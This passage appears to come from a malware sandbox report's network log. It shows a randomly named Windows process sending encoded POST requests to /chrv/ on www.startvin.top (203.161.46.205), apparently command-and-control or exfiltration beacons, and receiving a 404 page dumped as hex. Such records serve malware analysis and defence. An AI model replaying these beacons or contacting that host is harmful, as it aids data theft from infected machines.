6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Nov 18, 2024 13:14:27.024188042 CET	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Nov 18, 2024 13:14:27.024202108 CET	424	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"
Nov 18, 2024 13:14:27.028852940 CET	274	IN	Data Raw: 6e 69 6d 61 74 65 5f 5f 64 65 6c 61 79 2d 31 73 22 3e 0a 09 09 09 09 09 09 3c 70 3e 4f 6f 70 73 21 20 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 74 68 65 20 70 61 67 65 20 74 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f Data Ascii: nimate__delay-1s"><p>Oops! We couldn't find the page that you're looking for.</p><p>Please check the address and try again.</p><section class="footer"><strong>Error Code:</strong> 404</section></div></div></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	53173	203.161.46.205	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:32.937556982 CET	804	OUT	POST /chrv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 220 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.startvin.top Origin: http://www.startvin.top Referer: http://www.startvin.top/chrv/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 6c 6f 67 50 4d 59 65 44 56 5a 71 6f 58 33 30 63 77 4f 35 75 42 6a 79 57 5a 2b 33 43 63 48 37 32 76 57 54 30 65 46 4b 6b 69 6f 6b 73 66 6d 4d 53 66 6e 52 62 2f 7a 61 76 6d 42 35 6a 57 37 58 42 56 67 4f 55 53 43 42 56 32 71 33 38 64 33 59 4b 52 78 4a 71 6d 67 2b 47 2f 73 45 36 32 69 73 2f 56 76 4f 54 2b 45 6a 33 32 61 36 55 5a 61 2b 48 39 42 45 77 54 32 4e 53 56 67 6f 44 71 67 72 73 31 64 77 53 53 6f 2f 6d 76 62 77 4c 6e 73 4a 79 37 34 35 76 31 4f 59 32 4a 6a 41 62 45 30 6b 61 56 34 64 6e 36 7a 68 4a 62 68 41 50 41 34 72 36 6f 55 67 59 37 71 69 37 79 42 52 7a 52 69 34 5a 41 78 57 42 68 41 70 44 43 42 53 48 41 75 4d 79 30 51 3d 3d Data Ascii: 0PIXBf9=logPMYeDVZqoX30cwO5uBjyWZ+3CcH72vWT0eFKkioksfmMSfnRb/zavmB5jW7XBVgOUSCBV2q38d3YKRxJqmg+G/sE62is/VvOT+Ej32a6UZa+H9BEwT2NSVgoDqgrs1dwSSo/mvbwLnsJy745v1OY2JjAbE0kaV4dn6zhJbhAPA4r6oUgY7qi7yBRzRi4ZAxWBhApDCBSHAuMy0Q==
Nov 18, 2024 13:14:33.633407116 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 18 Nov 2024 12:14:33 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Nov 18, 2024 13:14:33.633471966 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Nov 18, 2024 13:14:33.633524895 CET	1236	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Nov 18, 2024 13:14:33.633620024 CET	1236	IN	Data Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
Nov 18, 2024 13:14:33.633661985 CET	848	IN	Data Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32 Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
Nov 18, 2024 13:14:33.633774042 CET	1236	IN	Data Raw: 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 Data Ascii: p:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012
Nov 18, 2024 13:14:33.633810043 CET	1236	IN	Data Raw: 30 35 2c 35 2e 38 30 34 31 36 20 31 2e 34 35 38 35 30 35 2c 36 2e 39 38 32 35 37 20 32 2e 34 30 32 30 32 31 2c 31 31 2e 31 31 30 35 32 20 30 2e 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 Data Ascii: 05,5.80416 1.458505,6.98257 2.402021,11.11052 0.943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53
Nov 18, 2024 13:14:33.633913994 CET	424	IN	Data Raw: 33 39 20 31 2e 31 31 39 39 33 32 2c 31 39 2e 38 30 33 37 39 20 32 2e 34 31 35 35 37 34 2c 33 37 2e 30 30 30 34 39 20 33 2e 37 31 32 30 30 35 2c 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 Data Ascii: 39 1.119932,19.80379 2.415574,37.00049 3.712005,54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549"
Nov 18, 2024 13:14:33.633948088 CET	1236	IN	Data Raw: 34 2c 31 31 2e 35 34 39 32 32 20 2d 31 2e 33 35 35 34 31 39 2c 32 34 2e 35 37 34 31 35 20 30 2e 39 34 32 39 37 34 2c 31 33 2e 30 32 34 39 33 20 32 2e 38 32 38 31 38 32 2c 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 Data Ascii: 4,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-
Nov 18, 2024 13:14:33.633981943 CET	212	IN	Data Raw: 69 64 3d 22 70 61 74 68 34 35 32 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 31 33 32 2e 36 38 37 35 2c 32 36 33 2e 33 34 39 39 38 20 63 20 2d 34 2e 32 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38 Data Ascii: id="path4529" d="m 132.6875,263.34998 c -4.2289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linej
Nov 18, 2024 13:14:33.638559103 CET	1236	IN	Data Raw: 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 65 6c 6c 69 70 73 65 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 72 79 3d 22 34 2e 36 37 31 35 37 31 37 22 0a 20 20 20 Data Ascii: oin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5" cy="238.08525" cx="119.12262" id="path4614" style="display:inline;opacity:1;fill:#000000;f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	53174	203.161.46.205	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:35.493324995 CET	824	OUT	POST /chrv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 240 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.startvin.top Origin: http://www.startvin.top Referer: http://www.startvin.top/chrv/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 6c 6f 67 50 4d 59 65 44 56 5a 71 6f 52 57 45 63 38 50 35 75 4a 6a 79 5a 63 2b 33 43 56 6e 37 79 76 57 76 30 65 48 6e 68 69 36 77 73 63 43 63 53 63 6d 52 62 38 7a 61 76 70 52 34 70 4c 4c 58 57 56 67 79 71 53 44 39 56 32 71 6a 38 64 33 49 4b 52 43 78 74 6d 77 2b 45 71 63 45 34 35 43 73 2f 56 76 4f 54 2b 45 66 4e 32 61 69 55 5a 71 4f 48 38 6b 77 33 50 47 4e 64 55 67 6f 44 75 67 72 67 31 64 77 67 53 72 37 59 76 59 59 4c 6e 6f 46 79 37 4d 56 73 69 65 59 76 4e 6a 42 45 4a 57 34 55 59 49 56 34 69 69 68 66 56 47 46 6c 49 75 71 59 79 32 73 30 6c 37 61 41 32 44 31 46 47 45 6c 73 43 77 53 5a 73 69 64 69 64 32 33 74 4e 38 74 32 69 6e 4d 75 44 32 6d 55 76 69 6a 67 2f 63 68 72 4c 4a 71 67 73 38 38 3d Data Ascii: 0PIXBf9=logPMYeDVZqoRWEc8P5uJjyZc+3CVn7yvWv0eHnhi6wscCcScmRb8zavpR4pLLXWVgyqSD9V2qj8d3IKRCxtmw+EqcE45Cs/VvOT+EfN2aiUZqOH8kw3PGNdUgoDugrg1dwgSr7YvYYLnoFy7MVsieYvNjBEJW4UYIV4iihfVGFlIuqYy2s0l7aA2D1FGElsCwSZsidid23tN8t2inMuD2mUvijg/chrLJqgs88=
Nov 18, 2024 13:14:36.188283920 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 18 Nov 2024 12:14:36 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Nov 18, 2024 13:14:36.188317060 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Nov 18, 2024 13:14:36.188334942 CET	1236	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Nov 18, 2024 13:14:36.188422918 CET	636	IN	Data Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
Nov 18, 2024 13:14:36.188502073 CET	1236	IN	Data Raw: 38 2e 36 36 33 34 39 20 34 2e 34 31 36 36 34 32 2c 31 38 2e 34 31 36 37 36 20 39 2e 37 39 38 33 35 36 2c 33 35 2e 39 31 36 37 35 20 31 35 2e 31 38 30 32 36 37 2c 35 33 2e 34 31 37 33 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 Data Ascii: 8.66349 4.416642,18.41676 9.798356,35.91675 15.180267,53.41738" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4
Nov 18, 2024 13:14:36.188515902 CET	212	IN	Data Raw: 30 32 2c 33 31 2e 32 34 36 31 39 20 2d 32 2e 31 38 33 37 36 2c 31 31 2e 39 39 36 39 38 20 2d 34 2e 38 31 36 31 36 2c 32 34 2e 33 33 36 33 32 20 2d 38 2e 34 32 30 36 33 2c 33 38 2e 39 39 38 30 39 20 2d 33 2e 36 30 34 34 38 2c 31 34 2e 36 36 31 37 Data Ascii: 02,31.24619 -2.18376,11.99698 -4.81616,24.33632 -8.42063,38.99809 -3.60448,14.66177 -8.06212,31.17154 -12.56244,47.83939" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-lineca
Nov 18, 2024 13:14:36.188532114 CET	1236	IN	Data Raw: 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 Data Ascii: p:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012
Nov 18, 2024 13:14:36.188548088 CET	212	IN	Data Raw: 30 35 2c 35 2e 38 30 34 31 36 20 31 2e 34 35 38 35 30 35 2c 36 2e 39 38 32 35 37 20 32 2e 34 30 32 30 32 31 2c 31 31 2e 31 31 30 35 32 20 30 2e 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 Data Ascii: 05,5.80416 1.458505,6.98257 2.402021,11.11052 0.943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.7893
Nov 18, 2024 13:14:36.188635111 CET	1236	IN	Data Raw: 34 20 2d 31 2e 32 33 37 33 31 2c 33 34 2e 31 31 35 33 36 20 2d 32 2e 31 38 30 31 34 2c 35 33 2e 36 32 30 31 35 20 2d 30 2e 39 34 32 38 32 2c 31 39 2e 35 30 34 37 38 20 2d 32 2e 30 30 33 34 32 39 2c 33 37 2e 31 38 31 35 39 20 2d 33 2e 30 36 34 31 Data Ascii: 4 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.064154,54.86032" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" />
Nov 18, 2024 13:14:36.188648939 CET	212	IN	Data Raw: 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 34 39 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 37 39 2e 32 35 34 37 38 2c 31 32 34 2e 32 33 32 36 36 20 63 20 2d 35 2e 34 34 30 31 39 32 2c 31 31 2e Data Ascii: th id="path4549" d="m 79.25478,124.23266 c -5.440192,11.56251 -10.880951,23.12622 -15.899657,33.56368 -5.018706,10.43747 -9.614414,19.74672 -11.912808,26.70033 -2.298394,6.95362 -2.29839
Nov 18, 2024 13:14:36.193459034 CET	1236	IN	Data Raw: 34 2c 31 31 2e 35 34 39 32 32 20 2d 31 2e 33 35 35 34 31 39 2c 32 34 2e 35 37 34 31 35 20 30 2e 39 34 32 39 37 34 2c 31 33 2e 30 32 34 39 33 20 32 2e 38 32 38 31 38 32 2c 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 Data Ascii: 4,11.54922 -1.355419,24.57415 0.942974,13.02493 2.828182,34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	53175	203.161.46.205	80	3736	C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 13:14:38.064846992 CET	1837	OUT	POST /chrv/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Cache-Control: no-cache Content-Length: 1252 Connection: close Content-Type: application/x-www-form-urlencoded Host: www.startvin.top Origin: http://www.startvin.top Referer: http://www.startvin.top/chrv/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36 Data Raw: 30 50 49 58 42 66 39 3d 6c 6f 67 50 4d 59 65 44 56 5a 71 6f 52 57 45 63 38 50 35 75 4a 6a 79 5a 63 2b 33 43 56 6e 37 79 76 57 76 30 65 48 6e 68 69 36 6f 73 66 31 30 53 63 46 35 62 39 7a 61 76 71 52 34 71 4c 4c 58 58 56 67 71 51 53 44 78 76 32 6f 62 38 63 52 45 4b 54 7a 78 74 2f 41 2b 45 6f 63 45 39 32 69 73 71 56 76 65 70 2b 45 76 4e 32 61 69 55 5a 70 57 48 37 78 45 33 4e 47 4e 53 56 67 6f 66 71 67 71 33 31 5a 63 77 53 71 4f 6a 73 6f 34 4c 6b 49 56 79 38 70 35 73 39 75 59 74 42 44 42 4d 4a 57 31 57 59 49 4a 43 69 69 46 78 56 42 4a 6c 5a 34 44 67 68 47 38 41 77 6f 66 56 2f 7a 68 6f 46 32 74 6e 62 7a 47 53 68 6c 35 43 42 52 2f 53 4f 71 46 74 73 67 6c 77 65 57 6d 37 33 44 7a 46 78 59 59 31 66 34 4b 6c 34 71 2f 4e 5a 57 62 58 42 58 6d 71 48 55 57 7a 75 47 34 4a 6f 6b 62 75 74 30 36 44 64 41 6c 46 4b 47 6d 51 34 30 34 55 75 75 35 56 2f 48 35 75 51 45 32 34 30 76 32 74 2f 78 66 58 46 69 47 51 50 51 76 75 68 36 33 38 79 70 63 55 78 6e 62 72 44 4d 66 37 5a 63 67 33 63 54 50 73 45 4d 67 4a 48 4e 43 68 4e 74 [TRUNCATED] Data Ascii: 